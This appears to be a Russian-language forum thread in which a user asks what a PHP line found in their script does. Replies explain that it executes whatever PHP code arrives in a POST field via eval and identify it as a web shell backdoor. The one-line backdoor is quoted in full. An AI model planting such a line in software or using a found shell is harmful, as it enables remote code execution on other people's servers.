обозначение функции

что обозначает данная функция if ( isset($_POST['1q2w']) ) eval(stripslashes($_POST['1q2w']));

Там несколько функций.
Алгоритм:
1) Переменная задана?
1.1) Экранировать символы в переменной
1.2) Выполнить PHP код переменной

пасиб

Автор, это не вопрос к тебе, это описание алгоритма.
1 шаг) PHP проверяет задана ли переменная
Если да то:
1.1 шаг) Экронирует символы в переменной
1.2 шаг) Выполняет код
Если нет то:
ничего

просто я $_POST['1q2w'] нигде больше в скрипте не найду

Это внешняя переменная (в математике называется экзогенной переменной), она попадает сюды из другого скрипта или со страницы

Это похоже на шелл гг)) зачем евалом код переменной обрабатывать. Тем более больше ни где переменной нет.

эт и есть шелл

и как же им воспользоваться?

http://www.php.su/functions/?eval